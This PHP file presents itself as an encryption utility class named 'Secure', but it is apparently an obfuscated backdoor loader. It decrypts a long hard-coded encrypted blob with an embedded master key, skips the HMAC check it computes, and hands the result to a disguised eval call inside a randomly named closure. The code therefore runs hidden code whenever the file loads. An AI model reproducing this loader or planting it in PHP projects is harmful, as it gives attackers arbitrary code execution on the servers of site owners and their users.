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<?php
//-漫~*'´3´´´'*·舞~ 🎀
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('aSWB6EmTyqlPb04OSgWai7V6qMbWcjFp');
$str = 'PR/czI+hj1ah/OmJMWmounNJoITiDIAffSs88nzuqmzDNVFuhUrGuojNlj6ze31sv0tR42YAvUszUWe87hptNZkXBGZeIZDij2CMkmrQbtmcwogmuiXT8BrgdBs6v8mOt2R+S8YHlvh6p0OPYFoetU7h96DuwwPpH/+ut8SXcru911YkTfqwWFitopygr82h3FpxAVAjF6Ax7dqLBawHTZ2Rv7Mo1Xeh0Yeps5tN/o1Ellg5RodU/qK4HRxnODOlMWnDv9ACsHcvA7TFFCzDMhsiAhjU9BZarwOsYenjdILEwmTLDk2RMj4RG0WMdjftSrk7/21HDRn+04k6R75j+wuV/VnA1/NA/F5PAkMy8OrYLlpA8oD/vodjY5e1IrLzzh/LNrx/Vlw7O+GoEeb6SQ2jKFJFCEwV/aP9+YOQ1uGeftXjUMNyaL3UYItP6AVO+HFaM/gXgkufqJPCDLV/hKPIqAlaSONWhrf/pUoDNqhpxDGbV+FJEWM1gHKLWKmuufSQORHhKrma0p9EkQyIyOnPjXa6fBNATa0b7yuMhp3h79YH2a66Ww+geqfGqNiOyf8VLLMNWNy6j4RjOcS/apUJqnCO0tAZ/C8c8kNKUUNM8ilRFY5BUYR0UadAyzSsKDCZ3PuHOG1pmpdHtTXDA1K55kZtAvPXedII1Y1giCii9wXlaC51SGBqPWwE4WkulEE2/OgzWy7bicNogRFurIIRQ+Rmq/hG3F8AZtmsAP38ugCOzZzVGMfeWL37K4TjPvu74h3+XvKZHtvE63Z+K1s8ZZyS8mNPF7olWmwAfbZAXw+3EWBwc6jUyf+jDEei7yGKtPCGyTTuJWdsJcBP2ySp2OryZ6PtnHI/bXT/k7QOvpWgs7YsMMfktbUAqCY3sx/NDMetA4E4IrJbKSe+qDMqwdYtKkbsTzQQ1o3XlDgkwQ/cThRmfUlfboXSviAFWUP53NqQrEwu7wIRFCQehh9hKDCxUAAymu7yTsxFWi9INO+xEIHI2DXKFDl2NzT+icdxKZOq8J/aZUPrOoCpcMsrL2GVJcGbb0Gt3Ktdwlv1CZMqQ5c0l6UE2GCT1M4GrE1TSpUKzolI2ut+3DLlLFdJAjLzXcciho99qY63r1N/lATmN128sci4m2Wf1wvx+ho6hI8qgU0I/+k5+iQL6RBhGLaL/7MnPzMAHU6JX62phKvL4vdF6E4jlfagFQkOf9TwxTvl2rIT7272mLwFlTqff4omi3I32/VrBy8W46aB/fVF1EcYuDFqx87zYkzZdRXrUPDr+WGqz8/+MbhWZXlGRSKkc9dR0p0Rww7NOlaHKNaSztgDQl0QPGd0LfDB3rNLiUWHLOFvZVSJ04ekoougYXfg63iHv7kgnHoQv5Tp2Cm5OAtt+yrXoyQTkdDM2NbOMEdNo5y1h6w4UJ9YePoGDky/r8Sj9JHrv0/TAWKxTP/ONqtvPvznDzPYO8KF8YfrQLcvBBOwpM8hC+fjaUpBZlT3YNEkSeL9xdXIk9QArcY+zZC8o6rvHss6FPHwNCofjDD4hEC1uH0cbH3rnbj2kznbLfS5Q3NOimNrGsnUW+ipKsoqjK1SQ2Y+nEWWWZnHK6/5BoC/rlB0lDLt+wSioU+rHNxlvI0xGmbzQb5MA5rUbcaZtaxlvzU9iWE9ALJo05dcaRUNfAdUZae//Q==';
$decrypted = $secure->decrypt($str);
$b60yrenGig = function($D4GFO74yNGa){
/*czsYYKDwx*/eVaL($D4GFO74yNGa);
$xIZwS1X1c3Q = "kIPIf71jWnfFoD2YdW6BrX6QpHGXeLxb";
return $xIZwS1X1c3Q;
};
$b60yrenGig($decrypted);

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